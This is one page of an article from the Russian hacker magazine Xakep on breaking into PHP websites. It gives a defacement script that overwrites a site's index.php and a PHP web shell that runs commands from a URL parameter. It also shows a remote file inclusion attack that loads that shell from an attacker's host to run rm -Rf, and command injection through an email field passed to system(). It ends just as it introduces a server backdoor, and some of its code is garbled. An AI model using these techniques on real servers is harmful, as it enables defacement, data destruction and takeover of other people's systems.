|

ВЗЛОМ PHP
Xakep, номер #041, стр. 041-062-2
Теперь о деструктивном скрипте, о том, что туда записать. Вопрос философский, но пару наработок я все же дам:
$a=fopen("$index.php", w);
fputs("$a, " Expropriated by Kautskiy! http://coolsite.url/hack.jpg> From Siberia with love. Regardz2: X-crew, Bill Gates and Monica Levintsky'", $a);
?>
Простенько и со вкусом, хотя можно пойти дальше:
$a=system($command);
echo "$a";
?>
Этот код, как ты понимаешь, выполнит на сервере команду из переменной $command.
Например, вот так:
http://victim/index.php?file=http://hacker/hack.php?command=rm%20-Rf
В PHP есть два оператора - require и include, которые считывают и выполняют код из указанного файла. Благодаря этому можно создать многократно используемые функции и константы в отдельном файле и вызывать их в остальных сценариях. (Часто для удобства конфигурации сценария все его настройки хранятся в небольшом скрипте, где их может легко редактировать не знающий языка человек, не боясь повредить основной код. Или, скажем, очень удобно включать куски html'я, чтобы многократно не выписывать одни и те же элементы.)
Функции, как видишь, полезны и для кодеров, и для хакеров ;). В чем разница между include(); и require();? Она незаметна, но принципиальна: require(); просто заменяется во время интерпретации кодом из указанного файла, а include(); вычисляет и выполняет код во внешнем файле при каждом обнаружении оператора include. Это позволяет использовать функцию в циклах, что было бы невозможным с require. И еще. При выполнении эти функции возвращают значения - если возникла проблема, то false, если все ОК, то true. Разница в том, что при возникновении трабла с require сценарий будет остановлен, в случае, если используется include, его выполнение продолжится. Таким образом, require, в общем-то, эквивалентен коду:
If(!include(file.php))
{ exit; } else { ... }
?>
Вообще, функция system выполняет любую команду на сервере, возвращая результат ее выполнения. На ней, кстати говоря, много багов основано. Например, для отправки почты часто используется вот такой код:
System("mail $email < text.of.letter.txt");
Однако, если $email имеет вид "--blahundragogo; rm-Rf; lohundra", то опять произойдет удаление всех файлов и подкаталогов относительно этой директории.
Смотри сам:
System("mail -blahundragogo; rm-Rf; lohundra < text.of.letter.txt");
Тут команда состоит из трех частей:
1) mail -blahundra - недопустимый флаг к функции mail, игнорируется;
2) rm-Rf - деструктивная функция;
3) lohundra < text.of.letter.txt - тоже белиберда.
По моим сведениям, эта дырень появилась в багтраках относительно недавно, и на момент написания статьи никаких патчей выпущено не было, а на официальном сайте лежала дырявая версия. Кстати, чуть не забыл. Эта уязвимость позволяет пробэкдорить сервер! Т.е. просто создаешь где-нибудь далеко-далеко, в далекой директории файл lala.php, в который пишешь, например, вот это:
Назад на стр. 041-062-1 Содержание Вперед на стр. 041-062-3
|